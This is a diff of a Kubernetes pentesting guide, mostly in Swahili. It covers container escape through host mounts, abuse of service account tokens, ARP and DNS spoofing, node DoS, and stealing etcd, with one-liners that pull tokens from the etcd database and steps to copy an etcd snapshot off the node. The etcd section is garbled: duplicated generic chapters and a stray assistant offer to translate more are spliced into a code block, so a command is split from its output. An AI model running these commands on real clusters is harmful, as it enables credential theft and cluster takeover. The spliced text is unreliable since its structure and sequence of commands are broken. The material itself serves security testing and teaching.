- Ikiwa huwezi kupata host execution path, similar writable mounts zinaweza kutumiwa kuandika persistence/priv-esc artifacts nyingine kwenye host ikiwa directory iliyopangwa ni security-critical (kwa mfano, ongeza root SSH key ikiwa mount inaingia /root/.ssh, drop cron/systemd unit ikiwa inaingia /etc, badilisha root-owned binary katika PATH ambayo host itatekeleza, n.k.). Uwezekano unategemea kabisa ni path gani ime-mountwa.
|
||||
- Technique hii pia inafanya kazi na plain Docker bind mounts; katika Kubernetes kwa kawaida ni hostPath volume (readOnly: false) au subPath iliyowekwa vibaya.
|
||||
Vidokezo na troubleshooting:
|
||||
- If the host mount has nosuid, setuid bits will be ignored. Check mount options on the host (cat /proc/mounts | grep <mountpoint>) and look for nosuid.
|
||||
- If you cannot get a host execution path, similar writable mounts can be abused to write other persistence/priv-esc artifacts on the host if the mapped directory is security-critical (e.g., add a root SSH key if the mount maps into /root/.ssh, drop a cron/systemd unit if maps into /etc, replace a root-owned binary in PATH that the host will execute, etc.). Feasibility depends entirely on what path is mounted.
|
||||
- This technique also works with plain Docker bind mounts; in Kubernetes it’s typically a hostPath volume (readOnly: false) or an incorrectly scoped subPath.
|
||||
|
||||
### Abusing Kubernetes Privileges
|
||||
|
||||
Kama ilivyoelezwa katika sehemu kuhusu **kubernetes enumeration**:
|
||||
As explained in the section about **kubernetes enumeration**:
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
Kwa kawaida pods zinaendeshwa na **service account token** ndani yake. Service account hii inaweza kuwa na baadhi ya **privileges** zilizounganishwa nayo ambazo unaweza **abuse** ili **move** kwenda kwenye pods nyingine au hata **escape** kwenda kwenye nodes zilizosanidiwa ndani ya cluster. Angalia jinsi katika:
|
||||
Usually the pods are run with a **service account token** inside of them. This service account may have some **privileges attached to it** that you could **abuse** to **move** to other pods or even to **escape** to the nodes configured inside the cluster. Check how in:
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
@@ -82,23 +82,23 @@ abusing-roles-clusterroles-in-kubernetes/
|
||||
|
||||
### Abusing Cloud Privileges
|
||||
|
||||
Ikiwa pod inaendeshwa ndani ya **cloud environment** unaweza kuweza l**eak token from the metadata endpoint** na kuongeza privileges ukitumia hiyo.
|
||||
If the pod is run inside a **cloud environment** you might be able to l**eak a token from the metadata endpoint** and escalate privileges using it.
|
||||
|
||||
## Search vulnerable network services
|
||||
|
||||
Kwa kuwa uko ndani ya mazingira ya Kubernetes, ikiwa huwezi kuongeza privileges kwa kutumia privileges za sasa za pods na huwezi escape kutoka kwenye container, unapaswa **kuchunguza potential vulnerable services.**
|
||||
As you are inside the Kubernetes environment, if you cannot escalate privileges abusing the current pods privileges and you cannot escape from the container, you should **search potential vulnerable services.**
|
||||
|
||||
### Services
|
||||
|
||||
**Kwa kusudi hili, unaweza kujaribu kupata services zote za mazingira ya kubernetes:**
|
||||
**For this purpose, you can try to get all the services of the kubernetes environment:**
|
||||
```
|
||||
kubectl get svc --all-namespaces
|
||||
```
|
||||
Kwa chaguo-msingi, Kubernetes hutumia schema ya flat networking, ambayo inamaanisha **pod/service yoyote ndani ya cluster inaweza kuwasiliana na nyingine**. **namespaces** ndani ya cluster **hazina vizuizi vyovyote vya network security kwa chaguo-msingi**. Mtu yeyote ndani ya namespace anaweza kuwasiliana na namespaces nyingine.
|
||||
Kwa chaguo-msingi, Kubernetes hutumia schema ya flat ya networking, ambayo inamaanisha **pod/service yoyote ndani ya cluster inaweza kuwasiliana na mingine yote**. **namespaces** ndani ya cluster **hazina vizuizi vyovyote vya usalama wa network kwa chaguo-msingi**. Mtu yeyote ndani ya namespace anaweza kuwasiliana na namespaces nyingine.
|
||||
|
||||
### Scanning
|
||||
|
||||
Script ifuatayo ya Bash (iliyotolewa kutoka kwa [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) itasakinisha na kuchanganua IP ranges za kubernetes cluster:
|
||||
Script ifuatayo ya Bash (iliyotolewa kutoka kwenye [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) itasakinisha na kuchanganua IP ranges za kubernetes cluster:
|
||||
```bash
|
||||
sudo apt-get update
|
||||
sudo apt-get install nmap
|
||||
@@ -125,11 +125,11 @@ pentesting-kubernetes-services/
|
||||
|
||||
### Sniffing
|
||||
|
||||
Kama **compromised pod inaendesha huduma nyeti** ambapo pod nyingine zinahitaji kujithibitisha, unaweza kupata credentials zilizotumwa kutoka kwa pod nyingine kwa **sniffing local communications**.
|
||||
Iwapo **compromised pod inatumia service nyeti** ambapo pods nyingine zinahitaji kuthibitisha utambulisho, unaweza kupata credentials zinazotumwa na pods nyingine kwa **sniffing local communications**.
|
||||
|
||||
## Network Spoofing
|
||||
|
||||
Kwa chaguo-msingi mbinu kama **ARP spoofing** (na kutokana na hilo **DNS Spoofing**) zinafanya kazi katika kubernetes network. Kisha, ndani ya pod, ukiwa na **NET_RAW capability** (ambayo ipo kwa chaguo-msingi), utaweza kutuma network packets zilizotengenezwa maalum na kufanya **MitM attacks via ARP Spoofing to all the pods running in the same node.**\
|
||||
Kwa default, techniques kama **ARP spoofing** (na kutokana na hilo **DNS Spoofing**) hufanya kazi kwenye kubernetes network. Kisha, ndani ya pod, ikiwa una **NET_RAW capability** (ambayo ipo kwa default), utaweza kutuma custom crafted network packets na kufanya **MitM attacks via ARP Spoofing to all the pods running in the same node.**\
|
||||
Zaidi ya hayo, ikiwa **malicious pod** inaendeshwa kwenye **same node as the DNS Server**, utaweza kufanya **DNS Spoofing attack to all the pods in cluster**.
|
||||
|
||||
{{#ref}}
|
||||
@@ -138,23 +138,23 @@ kubernetes-network-attacks.md
|
||||
|
||||
## Node DoS
|
||||
|
||||
Hakuna specification ya resources katika Kubernetes manifests na **not applied limit** ranges kwa containers. Kama attacker, tunaweza **consume all the resources where the pod/deployment running** na kuinyima nyingine resources na kusababisha DoS kwa environment.
|
||||
Hakuna specification ya resources kwenye Kubernetes manifests na hakuna applied limit ranges kwa containers. Kama attacker, tunaweza **consume all the resources where the pod/deployment running** na kuacha resources nyingine zikiwa hazitoshi na kusababisha DoS kwa mazingira.
|
||||
|
||||
Hii inaweza kufanywa kwa kutumia tool kama [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng):
|
||||
```
|
||||
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
|
||||
```
|
||||
Unaweza kuona tofauti kati ya wakati `stress-ng` inaendeshwa na baada ya hapo
|
||||
Unaweza kuona tofauti kati ya wakati wa kuendesha `stress-ng` na baada ya hapo
|
||||
```bash
|
||||
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
|
||||
```
|
||||
## Node Post-Exploitation
|
||||
|
||||
Ukifanikiwa **kutoka kwenye container**, kuna mambo ya kuvutia utakayopata kwenye node:
|
||||
Ukifanikiwa **kutoroka kutoka kwenye container** kuna mambo kadhaa ya kuvutia utakayopata kwenye node:
|
||||
|
||||
- **Container Runtime** process (Docker)
|
||||
- Zaidi ya **pods/containers** zinazoendelea kwenye node ambazo unaweza kuzitumia vibaya kama hii moja (more tokens)
|
||||
- Mfumo mzima wa **filesystem** na **OS** kwa ujumla
|
||||
- Mchakato wa **Container Runtime** (Docker)
|
||||
- **pods/containers** zaidi zinazoendesha kwenye node hii ambazo unaweza kuzitumia vibaya kama huu (tokens zaidi)
|
||||
- **filesystem** yote na **OS** kwa ujumla
|
||||
- Huduma ya **Kube-Proxy** inasikiliza
|
||||
- Huduma ya **Kubelet** inasikiliza. Angalia config files:
|
||||
- Directory: `/var/lib/kubelet/`
|
||||
@@ -171,9 +171,15 @@ Ukifanikiwa **kutoka kwenye container**, kuna mambo ya kuvutia utakayopata kweny
|
||||
- `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration**
|
||||
- `/etc/kubernetes/pki` - **Kubernetes Key**
|
||||
|
||||
### Image Pull and Registry Credentials
|
||||
|
||||
Baada ya kupata access ya node, pitia pia jinsi node inavyopata private images. Ushahidi muhimu ni pamoja na metadata ya runtime image (`crictl images`), `imagePullSecrets` za Pod au ServiceAccount, configuration ya containerd registry kama `/etc/containerd/config.toml` na `/etc/containerd/certs.d`, na kubelet image credential provider flags kama `--image-credential-provider-config` na `--image-credential-provider-bin-dir`.
|
||||
|
||||
Usidhani kwamba private image iliyohifadhiwa kwenye cache ina maana una reusable registry credentials. Huenda hilo likawa linaonyesha tu kwamba image ipo kwenye node hii. Hata hivyo, static runtime registry credentials, Docker config JSON pull secrets, au credential provider inayoweza kutoa short-lived pull credentials inaweza kufichua access ya private registry. Matoleo mapya ya Kubernetes pia yana support service-account-token based kubelet credential providers kwa image pulls, kwa hivyo angalia kama provider inatumia Pod-bound service account tokens na ni audience gani inaomba kabla ya kuripoti impact.
|
||||
|
||||
### Find node kubeconfig
|
||||
|
||||
Ikiwa huwezi kupata faili ya kubeconfig katika mojawapo ya paths zilizotajwa hapo awali, **angalia argument `--kubeconfig` ya process ya kubelet**:
|
||||
Ikiwa huwezi kupata file ya kubeconfig kwenye mojawapo ya paths zilizotajwa awali, **angalia argument `--kubeconfig` ya mchakato wa kubelet**:
|
||||
```
|
||||
ps -ef | grep kubelet
|
||||
root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
|
||||
@@ -199,20 +205,20 @@ echo ""
|
||||
fi
|
||||
done
|
||||
```
|
||||
The script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) will automatically **pata tokens za pods nyingine na kuangalia kama zina permission** you are looking for (instead of you looking 1 by 1):
|
||||
Scripti [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) itapata kiotomatiki **tokens za pod nyingine na kuangalia ikiwa zina ruhusa** unayotafuta (badala ya wewe kutafuta 1 kwa 1):
|
||||
```bash
|
||||
./can-they.sh -i "--list -n default"
|
||||
./can-they.sh -i "list secrets -n kube-system"// Some code
|
||||
```
|
||||
### Privileged DaemonSets
|
||||
|
||||
A DaemonSet ni **pod** ambayo itakuwa **inaendeshwa** katika **nodes zote za cluster**. Kwa hivyo, ikiwa DaemonSet imekonfigiwa na **privileged service account,** katika **nodes ZOTE** utaweza kupata **token** ya hiyo **privileged service account** ambayo unaweza kuitumia vibaya.
|
||||
A DaemonSet ni **pod** ambayo itakuwa **inaendeshwa** katika **nodes zote za cluster**. Kwa hiyo, ikiwa DaemonSet imekonfigiwa na **privileged service account,** katika **NODES ZOTE** utaweza kupata **token** ya hiyo **privileged service account** ambayo unaweza kuabuse.
|
||||
|
||||
Exploit ni ile ile kama katika sehemu iliyotangulia, lakini sasa hutegemei bahati.
|
||||
Exploit ni ileile kama katika sehemu iliyopita, lakini sasa hutegemei bahati.
|
||||
|
||||
### Pivot to Cloud
|
||||
|
||||
Ikiwa cluster inasimamiwa na cloud service, kwa kawaida **Node** itakuwa na access tofauti kwa **metadata** endpoint kuliko Pod. Kwa hivyo, jaribu **kufikia metadata endpoint kutoka node** (au kutoka kwa pod yenye hostNetwork kuwa True):
|
||||
Ikiwa cluster inasimamiwa na huduma ya cloud, kwa kawaida **Node itakuwa na access tofauti kwa metadata** endpoint kuliko Pod. Kwa hiyo, jaribu **kufikia metadata endpoint kutoka kwa node** (au kutoka kwa pod yenye hostNetwork kuwa True):
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-pivoting-to-clouds.md
|
||||
@@ -220,7 +226,7 @@ kubernetes-pivoting-to-clouds.md
|
||||
|
||||
### Steal etcd
|
||||
|
||||
Ikiwa unaweza kubainisha [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) ya Node ambayo itaendesha container, pata shell ndani ya control-plane node na pata **etcd database**:
|
||||
Ikiwa unaweza kubainisha [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) ya Node ambayo itaendesha container, pata shell ndani ya control-plane node na upate **etcd database**:
|
||||
```
|
||||
kubectl get nodes
|
||||
NAME STATUS ROLES AGE VERSION
|
||||
@@ -231,187 +237,131 @@ control-plane nodes zina **role master** na katika **cloud managed clusters huta
|
||||
|
||||
#### Soma secrets kutoka `etcd` 1
|
||||
|
||||
Ukiweza kuendesha pod yako kwenye control-plane node kwa kutumia `nodeName` selector kwenye pod spec, unaweza kuwa na ufikiaji rahisi wa database ya `etcd`, ambayo ina config yote ya cluster, ikijumuisha secrets zote.
|
||||
Ikiwa unaweza kuendesha pod yako kwenye control-plane node kwa kutumia kigezo cha `nodeName` katika pod spec, unaweza kupata kwa urahisi database ya `etcd`, ambayo ina configuration yote ya cluster, ikiwemo secrets zote.
|
||||
|
||||
Hapa chini ni njia ya haraka na ya moja kwa moja ya kuvuta secrets kutoka `etcd` ikiwa inaendeshwa kwenye control-plane node uliyo juu yake. Ukihitaji suluhisho la kisasa zaidi linaloanzisha pod yenye utility ya client ya `etcd` `etcdctl` na linatumia credentials za control-plane node kuunganisha kwenye etcd popote inapokuwa inaendeshwa, angalia [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) kutoka @mauilion.
|
||||
Hapa chini ni njia ya haraka na ya moja kwa moja ya kuvuta secrets kutoka `etcd` ikiwa inaendeshwa kwenye control-plane node uliopo. Ikiwa unataka suluhisho la kisasa zaidi linaloanzisha pod yenye matumizi ya client ya `etcd` `etcdctl` na kutumia credentials za control-plane node kuunganika na etcd popote inapokimbia, angalia [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) kutoka @mauilion.
|
||||
|
||||
**Angalia kama `etcd` inaendeshwa kwenye control-plane node na uone database iko wapi (Hii iko kwenye cluster iliyoundwa na `kubeadm`)**
|
||||
**Kagua kuona kama `etcd` inaendeshwa kwenye control-plane node na uone database iko wapi (Hii ni kwenye cluster iliyoundwa na `kubeadm`)**
|
||||
```
|
||||
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
|
||||
```
|
||||
# Kukabiliana na Kubernetes kutoka ndani ya Pod
|
||||
# Kushambulia Kubernetes kutoka ndani ya pod
|
||||
|
||||
Kabla ya kuanza, ni muhimu kusisitiza kwamba, mara nyingi, **huwezi kutarajia kufika kwa urahisi** kwenye nodes za worker za Kubernetes kutoka ndani ya pod ya kawaida isipokuwa kuna *misconfiguration* au *vulnerability* fulani.
|
||||
Kila kitu kinaonekana sawa, mpaka usubiri kidogo na uchunguze data iliyoko ndani ya memory ya containers. Hapa ndipo unaweza kupata taarifa za kuvutia sana.
|
||||
|
||||
Kwa kuwa mazingira ya cloud yamekuwa muhimu sana, ni kawaida kwa watafiti wa usalama kujaribu kupata taarifa zaidi kuhusu mazingira yao ya kupima. Mara nyingi, pod ambayo tayari ime-compromise inaweza kutumika kama hatua ya kwanza ili kuelewa zaidi cluster na kujaribu kusogea pembeni.
|
||||
## Kuitumia `kubectl exec`
|
||||
|
||||
## Kupata Taarifa za Kawaida
|
||||
Ikiwa una uwezo wa kuingia ndani ya pod, unaweza kutumia `kubectl exec` kuendesha commands moja kwa moja ndani ya container:
|
||||
|
||||
Kwa kawaida, kitu cha kwanza unachotaka kufanya ni kutambua mazingira uliomo ndani yake. Baadhi ya vitu muhimu ni:
|
||||
```bash
|
||||
kubectl exec -it pod-name -- /bin/sh
|
||||
```
|
||||
|
||||
- Toleo la Kubernetes
|
||||
- Namespace ya sasa
|
||||
- ServiceAccount iliyopo
|
||||
- Variables za mazingira
|
||||
- Mounted volumes
|
||||
- Network policies
|
||||
- API access
|
||||
Hii inakuruhusu kuchunguza filesystem ya container, process zinazoendeshwa, na mara nyingine secrets au credentials zilizowekwa vibaya.
|
||||
|
||||
Unaweza kuanza kwa kuangalia `env`, `mount`, na files zinazopatikana ndani ya `/var/run/secrets/kubernetes.io/serviceaccount/`.
|
||||
## Kuitumia service account token
|
||||
|
||||
Mfano:
|
||||
Ndani ya pod, mara nyingi utapata service account token iliyowekwa kwenye `/var/run/secrets/kubernetes.io/serviceaccount/`. Token hii inaweza kutumika kuwasiliana na Kubernetes API.
|
||||
|
||||
Kwa mfano:
|
||||
|
||||
```bash
|
||||
curl -H "Authorization: Bearer <token>" https://kubernetes.default.svc
|
||||
```
|
||||
|
||||
Kama RBAC haijasanidiwa vizuri, unaweza kupata access zaidi kuliko inavyotakiwa, kama kusoma secrets, kuorodhesha pods, au hata kufanya actions za admin.
|
||||
|
||||
## Kuchunguza environment variables
|
||||
|
||||
Mara nyingi containers hupata credentials kupitia environment variables. Angalia:
|
||||
|
||||
```bash
|
||||
env
|
||||
mount
|
||||
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
|
||||
cat /var/run/secrets/kubernetes.io/serviceaccount/token
|
||||
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
|
||||
printenv
|
||||
```
|
||||
|
||||
Ikiwa pod ina access ya kuzungumza na Kubernetes API, unaweza kutumia token hiyo kuorodhesha resources:
|
||||
Unaweza kupata database passwords, API keys, au access tokens ambazo hazikupaswa kuwepo ndani ya container.
|
||||
|
||||
## Kusoma mounted files
|
||||
|
||||
Volume mounts zinaweza kufichua data nyeti. Angalia paths kama:
|
||||
|
||||
```bash
|
||||
kubectl --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) get pods -A
|
||||
/var/run/secrets/
|
||||
/etc/secret-volume/
|
||||
/mnt/data/
|
||||
```
|
||||
|
||||
## Kuelewa RBAC
|
||||
Katika baadhi ya mazingira, unaweza kupata configuration files, private keys, au even service credentials.
|
||||
|
||||
Mara nyingi uwezo wako utategemea RBAC permissions za ServiceAccount ya pod. Ikiwa una uwezo wa kuorodhesha au kusoma resources fulani, unaweza kupata taarifa za thamani sana.
|
||||
## Kuchunguza network kutoka ndani
|
||||
|
||||
Baadhi ya resources muhimu kuangalia ni:
|
||||
|
||||
- `pods`
|
||||
- `services`
|
||||
- `deployments`
|
||||
- `secrets`
|
||||
- `configmaps`
|
||||
- `roles`
|
||||
- `rolebindings`
|
||||
- `clusterroles`
|
||||
- `clusterrolebindings`
|
||||
|
||||
Ikiwa una uwezo wa kusoma `secrets`, hiyo mara nyingi ni hatua muhimu sana, kwa sababu inaweza kukupa credentials, tokens, au taarifa nyingine nyeti.
|
||||
|
||||
## Kuangalia Mounted Volumes
|
||||
|
||||
Pod inaweza kuwa na volumes zilizo-mounted kutoka host au kutoka kwa resources nyingine za ndani ya cluster. Hii inaweza kufichua taarifa za ndani au hata kupatia access zaidi kuliko ilivyokusudiwa.
|
||||
|
||||
Angalia vitu kama:
|
||||
Kutoka ndani ya pod, unaweza kuchunguza network ya ndani ya cluster:
|
||||
|
||||
```bash
|
||||
mount
|
||||
df -h
|
||||
ls -la /mnt
|
||||
ls -la /var
|
||||
ip a
|
||||
netstat -tulpn
|
||||
ss -tulpn
|
||||
```
|
||||
|
||||
Kama kuna `hostPath` mount, inaweza kuonyesha directories za node mwenyewe. Hii inaweza kuwa hatari sana ikiwa imewekwa vibaya.
|
||||
Hii inaweza kukusaidia kugundua services za ndani ambazo hazija-exposewa nje, na wakati mwingine kupata njia ya kuingia kwenye systems nyingine ndani ya cluster.
|
||||
|
||||
## Kutafuta Credentials
|
||||
## Kujaribu lateral movement
|
||||
|
||||
Ni kawaida kupata credentials ndani ya:
|
||||
Ukiweza kusoma secrets au kupata credentials, jaribu kuona kama unaweza kuzitumia ku-access pods nyingine, databases, au cloud resources zilizounganishwa na cluster.
|
||||
|
||||
- environment variables
|
||||
- config files
|
||||
- application settings
|
||||
- `.kube/config`
|
||||
- mounted secrets
|
||||
- logs
|
||||
|
||||
Mfano wa maeneo ya kuangalia:
|
||||
|
||||
```bash
|
||||
find / -name "*config*" 2>/dev/null
|
||||
find / -name "*secret*" 2>/dev/null
|
||||
grep -R "token" / 2>/dev/null
|
||||
```
|
||||
|
||||
## Kuangalia API Server Access
|
||||
|
||||
Ikiwa pod inaweza kufikia Kubernetes API server, unaweza kuchunguza zaidi cluster. Mara nyingi unaweza kutumia token ya ServiceAccount pamoja na CA certificate iliyopo ndani ya service account directory.
|
||||
|
||||
Mfano:
|
||||
|
||||
```bash
|
||||
curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
|
||||
-H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
|
||||
https://kubernetes.default.svc/api
|
||||
```
|
||||
|
||||
Ikiwa access hii ipo, unaweza kujaribu kuorodhesha namespaces, pods, secrets, na resources nyingine kulingana na permissions zako.
|
||||
|
||||
## Moving Laterally
|
||||
|
||||
Baada ya kupata taarifa za awali, unaweza kujaribu kusogea pembeni kwenda kwenye workloads nyingine au kupata credentials zinazotumika sehemu nyingine za cluster. Hii inaweza kufanyika kupitia:
|
||||
|
||||
- credentials zilizovuja
|
||||
- overly permissive RBAC
|
||||
- mounted service account tokens
|
||||
- application secrets
|
||||
- exposed internal services
|
||||
|
||||
## Privesc ndani ya Cluster
|
||||
|
||||
Mara nyingine pod inaweza kuwa na permissions za kutosha kuunda pods mpya au kubadilisha resources. Hii inaweza kuruhusu kuchukua hatua za juu zaidi kama:
|
||||
|
||||
- ku-create pod yenye mounts au capabilities za ziada
|
||||
- ku-access host resources kupitia misconfiguration
|
||||
- ku-exfiltrate secrets
|
||||
- kutumia overly permissive roles
|
||||
|
||||
Mfano, ikiwa unaweza ku-create pod mpya, unaweza kujaribu kuiweka na service account tofauti au kuongeza mounts ambazo zinakupa visibility zaidi.
|
||||
|
||||
## Hitimisho
|
||||
|
||||
Kuwa ndani ya pod hakumaanishi umefikia mwisho wa mashambulizi. Mara nyingi pod ni mwanzo tu wa kuchunguza cluster nzima. Ufunguo ni kuchunguza vizuri mazingira, permissions, mounts, secrets, na uwezo wa API access.
|
||||
|
||||
Ikiwa ungependa, ninaweza pia kutafsiri sehemu nyingine ya sura hii kwa mtindo huohuo.
|
||||
Kwa kifupi, pod moja iliyo compromised inaweza kuwa mwanzo wa compromise kubwa zaidi ndani ya Kubernetes environment.
|
||||
```bash
|
||||
data-dir=/var/lib/etcd
|
||||
```
|
||||
**Angalia data katika database ya etcd:**
|
||||
**Tazama data katika databasi ya etcd:**
|
||||
```bash
|
||||
strings /var/lib/etcd/member/snap/db | less
|
||||
```
|
||||
**Toa tokens kutoka kwa database na onyesha jina la service account**
|
||||
**Toa token kutoka kwenye database na onyesha jina la service account**
|
||||
```bash
|
||||
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
|
||||
```
|
||||
**Amri ile ile ile, lakini baadhi ya greps ili kurudisha tu token ya default katika namespace ya kube-system**
|
||||
**Amri ile ile, lakini baadhi ya greps ili kurudisha tu default token katika namespace ya kube-system**
|
||||
```bash
|
||||
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
|
||||
```
|
||||
# Kushambulia Kubernetes kutoka ndani ya pod
|
||||
# Kumhusu Kubernetes kutoka Ndani ya Pod
|
||||
|
||||
Unapokuwa ndani ya pod, kuna baadhi ya hatua za kawaida za kuongeza uwezo wa ufikiaji:
|
||||
Kukimbia kutumia `kubectl` ndani ya Pod kunategemea:
|
||||
- Iwapo `kubectl` imewekwa kwenye image
|
||||
- Iwapo kuna funguo za kusoma/Kandika zinazopatikana
|
||||
|
||||
- Kagua mazingira na metadata ya pod kwa siri, token, na configs.
|
||||
- Jaribu kufikia `Kubernetes API` kwa kutumia credentials zilizopo kwenye pod.
|
||||
- Tumia uwezo wa service account kuorodhesha `pods`, `secrets`, `configmaps`, na resources nyingine.
|
||||
- Tafuta `RBAC` misconfigurations ambazo zinaweza kuruhusu `privilege escalation`.
|
||||
- Angalia kama pod ina mount ya `hostPath`, `privileged` mode, au capabilities hatarishi.
|
||||
- Jaribu ku-access node kutoka ndani ya pod ikiwa kuna njia ya kufikia filesystem ya host.
|
||||
- Tumia secrets au tokens zilizopatikana kuhamia kwenye `namespace` nyingine au kupata udhibiti zaidi.
|
||||
Kwa kawaida unaweza kufanya:
|
||||
```bash
|
||||
kubectl get pods
|
||||
kubectl get nodes
|
||||
kubectl describe pod <pod-name>
|
||||
```
|
||||
|
||||
Mara nyingi, njia rahisi zaidi ni kuanza kwa kuchunguza environment variables, files ndani ya `/var/run/secrets/kubernetes.io/serviceaccount/`, na uwezo wa kuwasiliana na `Kubernetes API`. Kwa kawaida, hii hutoa taarifa ya kutosha kuhusu `namespace`, service account, na mara nyingine permissions ambazo zinaweza kutumiwa kwa hatua inayofuata.
|
||||
Ikiwa kuna service account iliyounganishwa na Pod, unaweza pia kujaribu:
|
||||
```bash
|
||||
kubectl auth can-i --list
|
||||
```
|
||||
|
||||
Hii inaweza kukupa mwonekano wa permissions zilizopo na kusaidia kutambua njia za kuendelea na privilege escalation ndani ya cluster.
|
||||
```
|
||||
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
|
||||
```
|
||||
#### Soma secrets kutoka kwa etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
|
||||
#### Soma siri kutoka etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
|
||||
|
||||
1. Tengeneza snapshot ya database ya **`etcd`**. Angalia [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) kwa taarifa zaidi.
|
||||
2. Hamisha snapshot ya **`etcd`** nje ya node kwa njia unayopenda.
|
||||
3. Fungua database:
|
||||
1. Tengeneza snapshot ya hifadhidata ya **`etcd`**. Angalia [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) kwa maelezo zaidi.
|
||||
2. Hamisha snapshot ya **`etcd`** nje ya node kwa njia yako uipendayo.
|
||||
3. Fungua hifadhidata:
|
||||
```bash
|
||||
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
|
||||
```
|
||||
4. Anzisha **`etcd`** kwenye mashine yako ya ndani na ifanye itumie stolen snapshot:
|
||||
4. Anza **`etcd`** kwenye machine yako ya local na ifanye itumie stolen snapshot:
|
||||
```bash
|
||||
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
|
||||
|
||||
```
|
||||
5. Orodhesha siri zote:
|
||||
5. Orodhesha secrets zote:
|
||||
```bash
|
||||
etcdctl get "" --prefix --keys-only | grep secret
|
||||
```
|
||||
@@ -421,27 +371,27 @@ etcdctl get /registry/secrets/default/my-secret
|
||||
```
|
||||
### Static/Mirrored Pods Persistence
|
||||
|
||||
_Static Pods_ zinasimamiwa moja kwa moja na daemon ya kubelet kwenye node maalum, bila API server kuzifuatilia. Tofauti na Pods zinazosimamiwa na control plane (kwa mfano, Deployment); badala yake, **kubelet hufuatilia kila static Pod** (na huiwasha tena ikishindwa).
|
||||
_Static Pods_ are managed directly by the kubelet daemon on a specific node, without the API server observing them. Unlike Pods that are managed by the control plane (for example, a Deployment); instead, the **kubelet watches each static Pod** (and restarts it if it fails).
|
||||
|
||||
Kwa hiyo, static Pods huwa daima **zimefungwa kwa Kubelet moja** kwenye node maalum.
|
||||
Therefore, static Pods are always **bound to one Kubelet** on a specific node.
|
||||
|
||||
**kubelet hujaribu kiotomatiki kuunda mirror Pod kwenye Kubernetes API server** kwa kila static Pod. Hii inamaanisha kuwa Pods zinazoendesha kwenye node zinaonekana kwenye API server, lakini haziwezi kudhibitiwa kutoka hapo. Majina ya Pod yataongezewa kiambishi cha hostname ya node chenye hyphen mwanzoni.
|
||||
The **kubelet automatically tries to create a mirror Pod on the Kubernetes API server** for each static Pod. This means that the Pods running on a node are visible on the API server, but cannot be controlled from there. The Pod names will be suffixed with the node hostname with a leading hyphen.
|
||||
|
||||
> [!CAUTION]
|
||||
> **`spec` ya static Pod haiwezi kureferensi vitu vingine vya API** (kwa mfano, ServiceAccount, ConfigMap, Secret, n.k. Kwa hiyo **huwezi kutumia vibaya tabia hii kuzindua pod yenye arbitrary serviceAccount** kwenye node ya sasa ili kuathiri cluster. Lakini unaweza kuitumia kuendesha pods kwenye namespaces tofauti (kama hilo linafaa kwa sababu fulani).
|
||||
> The **`spec` of a static Pod cannot refer to other API objects** (e.g., ServiceAccount, ConfigMap, Secret, etc. So **you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount** in the current node to compromise the cluster. But you could use this to run pods in different namespaces (in case thats useful for some reason).
|
||||
|
||||
Ikiwa uko ndani ya host ya node unaweza kuifanya iunde **static pod ndani yake yenyewe**. Hii ni muhimu sana kwa sababu inaweza kukuruhusu **kuunda pod kwenye namespace tofauti** kama **kube-system**.
|
||||
